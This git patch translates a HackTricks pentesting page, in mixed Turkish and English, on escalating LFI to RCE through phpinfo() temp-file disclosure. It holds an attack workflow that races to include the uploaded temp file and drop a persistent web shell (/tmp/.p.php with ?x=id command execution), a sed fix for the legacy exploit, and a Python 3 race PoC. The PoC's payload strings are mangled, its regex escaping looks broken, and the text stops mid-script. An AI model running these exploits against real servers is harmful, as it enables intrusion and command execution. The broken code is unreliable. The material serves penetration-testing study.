From f32f67c54b2001cbf7c4ace49971a3e3f36dd692 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:51:17 +0000 Subject: [PATCH] Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md'] --- .../file-inclusion/lfi2rce-via-phpinfo.md | 165 ++++++++++++++---- 1 file changed, 133 insertions(+), 32 deletions(-) diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md index 1fc53021e..0216f1d5a 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md @@ -1,55 +1,156 @@ +# LFI to RCE via PHPInfo + {{#include ../../banners/hacktricks-training.md}} -Bu güvenlik açığını istismar etmek için şunlara ihtiyacınız var: **Bir LFI açığı, phpinfo()'un görüntülendiği bir sayfa, "file_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.** +Bu tekniği istismar etmek için aşağıdakilerin tümüne ihtiyacınız var: +- phpinfo() çıktısını yazdıran erişilebilir bir sayfa. +- Kontrolünüzde bir Local File Inclusion (LFI) primitive'i (ör. kullanıcı girdisinde include/require). +- PHP dosya yüklemelerinin etkinleştirilmiş olması (file_uploads = On). Herhangi bir PHP scripti RFC1867 multipart yüklemelerini kabul eder ve her yüklenen parçaya geçici bir dosya oluşturur. +- PHP worker'ın yapılandırılmış upload_tmp_dir'ye (veya varsayılan sistem geçici dizinine) yazabilmesi ve LFI'nizin bu yolu include edebilmesi gerekir. -[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) +Klasik write-up ve orijinal PoC: +- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011) +- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors) -**Eğitim HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) +Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s -İstismarı düzeltmeniz gerekiyor ( **=>**'yi **=>** ile değiştirin). Bunu yapmak için şunları yapabilirsiniz: +Orijinal PoC ile ilgili notlar +- phpinfo() çıktısı HTML olarak kodlandığı için "=>" oku genellikle "=>" şeklinde görünür. Eski scriptleri yeniden kullanıyorsanız, _FILES[tmp_name] değerini ayrıştırırken her iki kodlamayı da aradıklarından emin olun. +- Yükü (payload, PHP kodunuz), REQ1 (padding dahil phpinfo() endpoint'ine yapılan istek) ve LFIREQ (LFI sink'inize yapılan istek) uyarlamanız gerekir. Bazı hedefler null-byte (%00) terminatöre ihtiyaç duymaz ve modern PHP sürümleri bunu dikkate almaz. LFIREQ'i hedefteki vulnerable sink'e göre ayarlayın. + +HTML-encoded oku eşleştirmek için örnek sed (sadece gerçekten eski Python2 PoC'yu kullanıyorsanız): ``` -sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py +sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py ``` -Başlangıçta **payload**'ı değiştirmelisiniz (örneğin bir php-rev-shell için), **REQ1** (bu phpinfo sayfasına işaret etmeli ve padding içermelidir, yani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), ve **LFIREQ** (bu LFI zafiyetine işaret etmelidir, yani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Null karakteri sömürürken çift "%" olduğuna dikkat edin) +## Teori -{{#file}} -LFI-With-PHPInfo-Assistance.pdf -{{#endfile}} +- When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES['']['tmp_name']. The file is automatically removed at the end of the request unless moved/renamed. +- Hile, geçici dosya adını öğrenip PHP silmeden önce LFI ile onu include etmektir. phpinfo() $_FILES'i, tmp_name dahil, yazdırır. +- İstek header'larını/parametrelerini şişirerek (padding) phpinfo() çıktısının isteğin bitmesinden önceki erken parçalarını client'a flush ettirebilirsiniz; böylece tmp_name'i temp dosya hâlâ varken okuyup hemen o path ile LFI'yi tetikleyebilirsiniz. -### Teori +In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir. -Eğer PHP'de yüklemelere izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işleyene kadar geçici bir dizinde saklanır, ardından bu geçici dosya silinir. +## Saldırı iş akışı (adım adım) -Sonra, web sunucusunda bir LFI zafiyeti bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE sömürü yapabilirsiniz. +1) Yarışı kaybetmemek için hızlıca persist eden bir shell sağlayan küçük bir PHP payload hazırlayın (bir dosya yazmak genelde reverse shell beklemekten daha hızlıdır): +``` +'); +``` +2) Payload içeren bir temp dosya oluşturması için phpinfo() sayfasına doğrudan büyük bir multipart POST gönderin. Erken çıktıyı teşvik etmek için çeşitli header/cookie/param değerlerini ~5–10KB dolgu ile şişirin. Form alanı adının $_FILES içinde ayrıştıracağınız isimle eşleştiğinden emin olun. -**Windows**'ta dosyalar genellikle **C:\Windows\temp\php** dizininde saklanır. +3) phpinfo() yanıtı hâlâ stream ediliyorken, kısmi gövdeyi ayrıştırıp $_FILES['']['tmp_name'] (HTML-encoded) değerini çıkarın. Tam mutlak yola (ör. /tmp/php3Fz9aB) ulaştığınız anda LFI'nizi tetikleyip o yolu include edin. Eğer include() geçici dosyayı silinmeden önce çalıştırırsa, payload'ınız tetiklenir ve /tmp/.p.php dosyasını bırakır. -**Linux**'ta dosyanın adı genellikle **rastgele** olup **/tmp** dizininde bulunur. Ad rastgele olduğu için, **geçici dosyanın adını bir yerden çıkarmak** ve silinmeden önce erişmek gereklidir. Bu, "**phpconfig()**" fonksiyonunun içindeki **$\_FILES** değişkeninin değerini okuyarak yapılabilir. +4) Bırakılan dosyayı kullanın: GET /vuln.php?include=/tmp/.p.php&x=id (veya LFI'nizin dahil etmeye izin verdiği başka bir yol) ile komutları güvenilir şekilde çalıştırın. -**phpinfo()** +> Tips +> - Yarışı kazanma şansınızı artırmak için birden fazla eşzamanlı worker kullanın. +> - Genellikle işe yarayan dolgu yerleri: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Hedefe göre ayarlayın. +> - Eğer the vulnerable sink bir uzantı ekliyorsa (ör. .php), null byte gerekmez; include() geçici dosya uzantısına bakmaksızın PHP'yi çalıştırır. -**PHP**, **4096B**'lik bir tampon kullanır ve tampon **dolu** olduğunda, **istemciye gönderilir**. Ardından istemci, **birçok büyük istek** (büyük başlıklar kullanarak) **yükleyerek bir php** ters **shell** yükleyebilir, **phpinfo()'un ilk kısmının** (geçici dosyanın adının bulunduğu yer) **geri dönmesini bekleyebilir** ve php sunucusu dosyayı silmeden önce **geçici dosyaya erişmeye** çalışabilir, böylece bir LFI zafiyetini sömürebilir. +## Minimal Python 3 PoC (socket-based) -**İsimleri brute force denemek için Python scripti (uzunluk = 6)** +Aşağıdaki snippet kritik bölümlere odaklanır ve legacy Python2 script'ine göre uyarlaması daha kolaydır. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink) ve PAYLOAD'ı özelleştirin. ```python -import itertools -import requests -import sys +#!/usr/bin/env python3 +import re, html, socket, threading -print('[+] Trying to win the race') -f = {'file': open('shell.php', 'rb')} -for _ in range(4096 * 4096): -requests.post('http://target.com/index.php?c=index.php', f) +HOST = 'target.local' +PORT = 80 +PHPSCRIPT = '/phpinfo.php' +LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path +THREADS = 10 + +PAYLOAD = ( +"'); ?>\r\n" +) +BOUND = '---------------------------7dbff1ded0714' +PADDING = 'A' * 6000 +REQ1_DATA = (f"{BOUND}\r\n" +f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" +f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n") + +REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" +f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" +f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" +f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" +f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") + +LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n") + +pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") -print('[+] Bruteforcing the inclusion') -for fname in itertools.combinations(string.ascii_letters + string.digits, 6): -url = 'http://target.com/index.php?c=/tmp/php' + fname -r = requests.get(url) -if 'load average' in r.text: #